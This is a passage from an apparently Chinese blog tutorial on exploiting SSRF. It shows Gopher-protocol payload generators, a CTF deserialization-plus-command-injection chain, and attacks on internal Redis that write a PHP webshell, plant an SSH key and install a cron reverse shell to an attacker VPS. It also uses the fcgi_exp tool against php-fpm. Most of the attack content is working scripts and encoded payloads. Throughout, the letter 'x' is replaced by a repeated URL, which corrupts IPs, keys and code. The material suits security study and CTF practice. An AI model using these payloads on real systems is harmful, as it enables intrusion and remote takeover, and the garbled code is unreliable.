>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;// 检查是否是内网ip}function safe_request_url($url){    if (check_inner_ip($url))    {        echo $url.' is inner ip';    }    else    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        curl_setopt($ch, CURLOPT_HEADER, 0);        $output = curl_ehttps://blog.csdn.net/yjprolus/article/details/xec($ch);        $result_info = curl_getinfo($ch);        if ($result_info['redirect_url'])        {            safe_request_url($result_info['redirect_url']);        }        curl_close($ch);        var_dump($output);    }}$url = $_GET['url'];if(!empty($url)){    safe_request_url($url);}?>

上述代码中可以看到check_inner_ip函数通过url_parse()函数检测是否为内网IP,如果不是内网 IP ,则通过curl()请求 url 并返回结果,我们可以利用curl和parse_url解析的差异不同来绕过这里的限制,让parse_url()处理外部网站网址,最后curl()请求内网网址。paylaod如下:

ssrf.php?url=http://@127.0.0.1:80@www.baidu.com/flag.php

image-20210113134443846

的 [2020 首届“祥云杯”网络安全大赛]doyouknowssrf这道题利用的就是这个思路。

常见攻击方式(Gopher协议)

Gopher协议在SSRF中的利用

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口。但在WWW出现后,Gopher失去了昔日的辉煌。

现在的Gopher协议已经很少有人再使用它了,但是该协议在SSRF中却可以发挥巨大的作用,可以说是SSRF中的万金油。由于Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面。

Gopher协议格式

URL: gopher://:/_后接TCP数据流# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。
  • gopher的默认端口是70
  • 如果发起POST请求,回车换行需要使用%0d%0a来代替%0a,如果多个参数,参数之间的&也需要进行URL编码

那么如何利用Gopher发送HTTP的请求呢?例如GET请求。我们直接发送一个原始的HTTP包不就行了吗。在gopher协议中发送HTTP的数据,需要以下三步:

  1. 抓取或构造HTTP数据包
  2. URL编码、将回车换行符%0a替换为%0d%0a
  3. 发送符合gopher协议格式的请求

利用Gopher协议发送HTTP GET请求

// echo.php<?phpecho "Hello ".$_GET["whoami"]."\n"?>

构造payload。一个典型的GET型的HTTP包类似如下:

GET /echo.php?whoami=Bunny HTTP/1.1Host: 47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107

然后利用以下脚本进行一步生成符合Gopher协议格式的payload:

import urllib.parsepayload =\"""GET /echo.php?whoami=Bunny HTTP/1.1Host: 47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107"""  # 注意后面一定要有回车,回车结尾表示http请求结束tmp = urllib.parse.quote(payload)new = tmp.replace('%0A','%0D%0A')result = 'gopher://47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107:80/'+'_'+newprint(result)  # gopher://47.11.11.107:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.11.11.107%0D%0A# 问号(?)需要转码为URL编码,也就是%3f;回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a;在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

然后执行:curl gopher://47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107%0D%0A,返回得到 Hello Bunny

利用Gopher协议发送HTTP POST请求

// echo.php<?phpecho "Hello ".$_POST["whoami"]."\n"?>

接下来我们构造payload。一个典型的POST型的HTTP包类似如下:

POST /echo.php HTTP/1.1Host: 47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107Content-Type: application/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencodedContent-Length: 12whoami=Bunny

注意:上面那四个HTTP头是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。并且,特别要注意Content-Length应为字符串“whoami=Bunny”的长度。

最后用脚本我们将上面的POST数据包进行URL编码并改为gopher协议

import urllib.parsepayload =\"""POST /echo.php HTTP/1.1Host: 47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107Content-Type: application/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencodedContent-Length: 12whoami=Bunny"""  # 注意后面一定要有回车,回车结尾表示http请求结束tmp = urllib.parse.quote(payload)new = tmp.replace('%0A','%0D%0A')result = 'gopher://47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107:80/'+'_'+newprint(result)

执行 curl gopher://47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107:80/_POST%20/echo.php%20HTTP/1.1%0D%0AHost%3A%2047.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107%0D%0AContent-Type%3A%20application/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencoded%0D%0AContent-Length%3A%2012%0D%0A%0D%0Awhoami%3DBunny%0D%0A成功用POST方法传参并输出“Hello Bunny”。

[2020 科来杯初赛]Web1这道题就是典型的运用Gopher发送HTTP POST请求进行SSRF攻击的思路。

[2020 科来杯初赛]Web1

进入题目后即给处源码:

image-20200921134331679

这里很明显就是一个SSRF,url过滤了fileftp,但是必须要包含127.0.0.1。并且,我们还发现一个tool.php页面,但是该页面进去之后仅显示一个“Not localhost”,我们可以用这个ssrf将tool.php的源码读住来,构造反序列化payload:

生成:

O%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Ftool.php%22%3B%7D// O:7:"Welcome":1:{s:6:"*url";s:25:"http://127.0.0.1/tool.php";}

将Welcome后面表示对象属性个数的“1”改为“2”即可绕过__destruct()的限制。

image-20200921134812338

读出来tool.php的源码为:

#tool.phpNot localhost!';}else {   highlight_file(__FILE__);   $respect_show_ping($_POST);}?>

可知tool.php页面存在命令执行漏洞。当REMOTE_ADDR为127.0.0.1时才可执行命令。REMOTE_ADDR头获取的是客户端的真实的IP,但是这个客户端是相对服务器而言的,也就是实际上与服务器相连的机器的IP(建立tcp连接的那个),这个值是不可以伪造的,如果没有代理的话,这个值就是用户实际的IP值,有代理的话,用户的请求会经过代理再到服务器,这个时候REMOTE_ADDR会被设置为代理机器的IP值。而X-Forwarded-For的值是可以篡改的。

既然这里要求当REMOTE_ADDR为127.0.0.1时才可执行命令,且REMOTE_ADDR的值是不可以伪造的,我们要想让REMOTE_ADDR的值为127.0.0.1,不可能通过修改X-Forwarded-For的值来实现,我们要利用SSRF。

我们可以利用indehttps://blog.csdn.net/yjprolus/article/details/x.php页面的SSRF利用gopher协议发POST包请求tool.php,进行命令执行。这样,整个攻击过程是在服务端进行的REMOTE_ADDR的值也就是127.0.0.1了。

SSRF,利用gopher发POST包,进行命令执行

import urllib.parsetest =\"""POST /tool.php HTTP/1.1Host: 127.0.0.1Content-Type: application/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencodedContent-Length: 13ip=;cat /flag"""  #注意后面一定要有回车,回车结尾表示http请求结束tmp = urllib.parse.quote(test)new = tmp.replace('%0A','%0D%0A')result = 'gopher://127.0.0.1:80/'+'_'+newprint(result)

这里因为我们是把payload发送到服务端让服务端执行,所以我们的Host和gopher里的Host为127.0.0.1。

生成gopher协议格式的payload为:

gopher://127.0.0.1:80/_POST%20/tool.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/https://blog.csdn.net/yjprolus/article/details/x-www-form-urlencoded%0D%0AContent-Length%3A%2013%0D%0A%0D%0Aip%3D%3Bcat%20/flag%0D%0A

然后构造反序列化ehttps://blog.csdn.net/yjprolus/article/details/xp:

生成payload:

O%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A197%3A%22gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2Ftool.php%2520HTTP%2F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2Fhttps://blog.csdn.net/yjprolus/article/details/x-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Aip%253D%253Bcat%2520%2Fflag%250D%250A%22%3B%7D

同样将Welcome后面表示对象属性个数的“1”改为“2”绕过__destruct()的限制后执行:

image-20200921135622488

如上图,命令执行成功。

**注意:**这里要注意的是,我们发送的是POST包,而如果发送的是GET包的话,当这个URL经过服务器时,payload部分会被自动url解码,%20等字符又会被转码为空格。所以,curl_ehttps://blog.csdn.net/yjprolus/article/details/xec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要对payload进行二次URL编码。编码结果类似如下:

gopher%3a%2f%2f127.0.0.1%3a80%2f_POST%2520%2ftool.php%2520HTTP%2f1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2fhttps://blog.csdn.net/yjprolus/article/details/x-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Aip%253D%253Bcat%2520%2fflag%250D%250A

攻击内网Redis

什么是Redis未授权访问?

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

  • redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等,其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。

下面我们对攻击Redis的手法进行演示。测试环境如下,内网中其他主机均有外网IP并可以上网:

image-20210113190430425

在上文扫描内网端口的实验中,我们发现了内网中有一个IP为192.168.52.131的主机在6379端口上运行着一个Redis服务,下面我们就用它来演示,通过Ubuntu服务器上的SSRF漏洞去攻击内网主机(192.168.52.131)的Redis。

绝对路径写WebShell

首先构造redis命令:

flushallset 1 ''config set dir /var/www/htmlconfig set dbfilename shell.phpsave

然后写一个脚本,将其转化为Gopher协议的格式(脚本时从网上嫖的,谁让我菜呢~~~大佬勿喷):

import urllibprotocol="gopher://"ip="192.168.52.131"port="6379"shell="\n\n\n\n"filename="shell.php"path="/var/www/html"passwd=""cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for https://blog.csdn.net/yjprolus/article/details/x in redis_arr:cmd+=CRLF+"$"+str(len((https://blog.csdn.net/yjprolus/article/details/x.replace("${IFS}"," "))))+CRLF+https://blog.csdn.net/yjprolus/article/details/x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for https://blog.csdn.net/yjprolus/article/details/x in cmd:payload += urllib.quote(redis_format(https://blog.csdn.net/yjprolus/article/details/x))print payload

执行后生成paylaod如下:

image-20210113175116867

这里将生成的payload要进行url二次编码(因为我们发送payload用的是GET方法),然后利用Ubuntu服务器上的SSRF漏洞,将二次编码后的payload打过去就行了:

ssrf.php?url=gopher%3A%2F%2F192.168.52.131%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

如下所示,成功在主机192.168.52.131上面写入WebShell:

image-20210113185919592

写SSH公钥

同样,我们也可以直接这个存在Redis未授权的主机的/.ssh目录下写入SSH公钥,直接实现免密登录,但前提是/.ssh目录存在,如果不存在我们可以写入计划任务来创建该目录。

构造redis命令:

flushallset 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27Zhttps://blog.csdn.net/yjprolus/article/details/xGOcRR95FT6zrfFhttps://blog.csdn.net/yjprolus/article/details/xqt2h56oLwml/Trhttps://blog.csdn.net/yjprolus/article/details/xy5sEhttps://blog.csdn.net/yjprolus/article/details/xSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ahttps://blog.csdn.net/yjprolus/article/details/x2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4https://blog.csdn.net/yjprolus/article/details/xsFDCfambjmYzbhttps://blog.csdn.net/yjprolus/article/details/x9O2fzl8F67jsTq8BVZhttps://blog.csdn.net/yjprolus/article/details/xy5XvSsoHdCtr7vhttps://blog.csdn.net/yjprolus/article/details/xqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnhttps://blog.csdn.net/yjprolus/article/details/xBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlhttps://blog.csdn.net/yjprolus/article/details/xwZ0aC15GOwJhjTpTMKq9jrRdGdkIrhttps://blog.csdn.net/yjprolus/article/details/xLKe+XqQnjhttps://blog.csdn.net/yjprolus/article/details/xtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5https://blog.csdn.net/yjprolus/article/details/xZbTRUlhttps://blog.csdn.net/yjprolus/article/details/xpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBhttps://blog.csdn.net/yjprolus/article/details/xedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami'config set dir /root/.ssh/config set dbfilename authorized_keyssave

然后编写脚本,将其转化为Gopher协议的格式:

import urllibprotocol="gopher://"ip="192.168.52.131"port="6379"ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27Zhttps://blog.csdn.net/yjprolus/article/details/xGOcRR95FT6zrfFhttps://blog.csdn.net/yjprolus/article/details/xqt2h56oLwml/Trhttps://blog.csdn.net/yjprolus/article/details/xy5sEhttps://blog.csdn.net/yjprolus/article/details/xSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ahttps://blog.csdn.net/yjprolus/article/details/x2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4https://blog.csdn.net/yjprolus/article/details/xsFDCfambjmYzbhttps://blog.csdn.net/yjprolus/article/details/x9O2fzl8F67jsTq8BVZhttps://blog.csdn.net/yjprolus/article/details/xy5XvSsoHdCtr7vhttps://blog.csdn.net/yjprolus/article/details/xqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnhttps://blog.csdn.net/yjprolus/article/details/xBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlhttps://blog.csdn.net/yjprolus/article/details/xwZ0aC15GOwJhjTpTMKq9jrRdGdkIrhttps://blog.csdn.net/yjprolus/article/details/xLKe+XqQnjhttps://blog.csdn.net/yjprolus/article/details/xtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5https://blog.csdn.net/yjprolus/article/details/xZbTRUlhttps://blog.csdn.net/yjprolus/article/details/xpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBhttps://blog.csdn.net/yjprolus/article/details/xedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami\n\n"filename="authorized_keys"path="/root/.ssh/"passwd=""cmd=["flushall", "set 1 {}".format(ssh_pub.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for https://blog.csdn.net/yjprolus/article/details/x in redis_arr:cmd+=CRLF+"$"+str(len((https://blog.csdn.net/yjprolus/article/details/x.replace("${IFS}"," "))))+CRLF+https://blog.csdn.net/yjprolus/article/details/x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for https://blog.csdn.net/yjprolus/article/details/x in cmd:payload += urllib.quote(redis_format(https://blog.csdn.net/yjprolus/article/details/x))print payload

生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去:

ssrf.php?url=gopher%3A%2F%2F192.168.52.131%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524568%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E%2F45IEs%2F9a6AWfXb6iwzo%252BD62y8MOmt%252Bsct27Zhttps://blog.csdn.net/yjprolus/article/details/xGOcRR95FT6zrfFhttps://blog.csdn.net/yjprolus/article/details/xqt2h56oLwml%2FTrhttps://blog.csdn.net/yjprolus/article/details/xy5sEhttps://blog.csdn.net/yjprolus/article/details/xSQ%2FcvvLwUTWb3ntJYyh2eGkQnOf2d%252Bahttps://blog.csdn.net/yjprolus/article/details/x2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH%2F4https://blog.csdn.net/yjprolus/article/details/xsFDCfambjmYzbhttps://blog.csdn.net/yjprolus/article/details/x9O2fzl8F67jsTq8BVZhttps://blog.csdn.net/yjprolus/article/details/xy5XvSsoHdCtr7vhttps://blog.csdn.net/yjprolus/article/details/xqFUd%2FbWcrZ5F1pEQ8tnEBYsyfMK0NuMnhttps://blog.csdn.net/yjprolus/article/details/xBdquNVSlyQ%2FNnHKyWtI%2FOzzyfvtAGO6vf3dFSJlhttps://blog.csdn.net/yjprolus/article/details/xwZ0aC15GOwJhjTpTMKq9jrRdGdkIrhttps://blog.csdn.net/yjprolus/article/details/xLKe%252BXqQnjhttps://blog.csdn.net/yjprolus/article/details/xtk4giopiFfRu8winE9scqlIA5Iu%2Fd3O454ZkYDMud7zRkSI17lP5rq3A1f5https://blog.csdn.net/yjprolus/article/details/xZbTRUlhttps://blog.csdn.net/yjprolus/article/details/xpa3Pcuolg%2FOOhoA3iKNhJ%2FJT31TU9E24dGh2Ei8K%252BPpT92dUnFDcmbEfBBQz7llHUUBhttps://blog.csdn.net/yjprolus/article/details/xedy44Yl%252BSOsVHpNqwFcrgsq%2FWR5BGqnu54vTTdJh0pSrl%252BtniHEnWWU%253D%2520root%2540whoami%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%250D%250A%2Froot%2F.ssh%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

如下图,成功在主机192.168.52.131上面写入SSH公钥:

image-20210113185745287

如下图,ssh连接成功:

image-20210113193746288

创建计划任务反弹Shell

注意:这个只能在Centos上使用,别的不行,好像是由于权限的问题。

构造redis的命令如下:

flushallset 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107/2333 0>&1\n\n'config set dir /var/spool/cron/config set dbfilename rootsave// 47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107为攻击者vps的IP

然后编写脚本,将其转化为Gopher协议的格式:

import urllibprotocol="gopher://"ip="192.168.52.131"port="6379"reverse_ip="47.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.107"reverse_port="2333"cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)filename="root"path="/var/spool/cron"passwd=""cmd=["flushall", "set 1 {}".format(cron.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for https://blog.csdn.net/yjprolus/article/details/x in redis_arr:cmd+=CRLF+"$"+str(len((https://blog.csdn.net/yjprolus/article/details/x.replace("${IFS}"," "))))+CRLF+https://blog.csdn.net/yjprolus/article/details/x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for https://blog.csdn.net/yjprolus/article/details/x in cmd:payload += urllib.quote(redis_format(https://blog.csdn.net/yjprolus/article/details/x))print payload

生成的payload同样进行url二次编码,然后利用Ubuntu服务器上的SSRF打过去,即可在目标主机192.168.52.131上写入计划任务,等到时间后,攻击者vps上就会获得目标主机的shell:

image-20210113184927766

[GKCTF2020]EZ三剑客-EzWeb这道题利用的就是攻击内网Redis的思路。

攻击内网FastCGI

FastCGI指快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。

众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,而动态网站需要一个额外的编译解析的过程。以Apache为例,当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,Web容器就会把这个请求进行简单的处理,然后如果使用的是CGI,就会启动CGI程序(对应的就是PHP解释器)。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。

这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次,所以FastCGI的主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。

php-fpm

FPM(FastCGI 进程管理器)可以说是FastCGI的一个具体实现,用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。

攻击FastCGI的主要原理就是,在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/indehttps://blog.csdn.net/yjprolus/article/details/x.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。

而在PHP 5.3.9后来的版本中,PHP增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在PHP允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改PHP的设置。

那么当设置PHP环境变量为:auto_prepend_file = php://input;allow_url_include = On时,就会在执行PHP脚本之前包含环境变量auto_prepend_file所指向的文件内容,php://input也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。

详情请见:《SSRF系列之攻击FastCGI》

测试环境:

image-20210113225311760

WEB服务器Ubuntu(192.168.43.166)存在SSRF漏洞:

image-20210113211319025

并且WEB服务器Ubuntu上存在FastCGI,那么我们就可以利用其SSRF漏洞去攻击其本地的FastCGI。

假设在配置fpm时,将监听的地址设为了0.0.0.0:9000,那么就会产生php-fpm未授权访问漏洞,此时攻击者可以无需利用SSRF从服务器本地访问的特性,直接与服务器9000端口上的php-fpm进行通信,进而可以用fcgi_ehttps://blog.csdn.net/yjprolus/article/details/xp等工具去攻击服务器上的php-fpm实现任意代码执行。

当内网中的其他主机上配置有fpm,且监听的地址为0.0.0.0:9000时,那么这台主机就可能存在php-fpm未授权访问漏洞,我们便可以利用Ubuntu服务器上的SSRF去攻击他,如果内网中的这台主机不存在php-fpm未授权访问漏洞,那么就直接利用Ubuntu服务器上的SSRF去攻击他显然是不行的。

使用fcgi_ehttps://blog.csdn.net/yjprolus/article/details/xp工具攻击

下载地址:https://github.com/piaca/fcgi_ehttps://blog.csdn.net/yjprolus/article/details/xp

这个工具主要是用来攻击未授权访问php-fpm的,可用来测试是否可以直接攻击php-fpm,但需要自己将生成的payload进行转换一下。

该工具需要go语言环境,下载后进入目录执行如下命令进行编译:

go build fcgi_ehttps://blog.csdn.net/yjprolus/article/details/xp.go                    # 编译fcgi_ehttps://blog.csdn.net/yjprolus/article/details/xp.go

编译完成后,我们在攻击机上使用nc -lvvp 2333 > fcg_ehttps://blog.csdn.net/yjprolus/article/details/xp.thttps://blog.csdn.net/yjprolus/article/details/xt监听2333 端口来接收fcgi_ehttps://blog.csdn.net/yjprolus/article/details/xp生成的payload,另外再开启一个终端使用下面的命令来向2333端口发送payload:

./fcgi_ehttps://blog.csdn.net/yjprolus/article/details/xp system 127.0.0.1 2333 /var/www/html/indehttps://blog.csdn.net/yjprolus/article/details/x.php "id"

image-20210113205718209

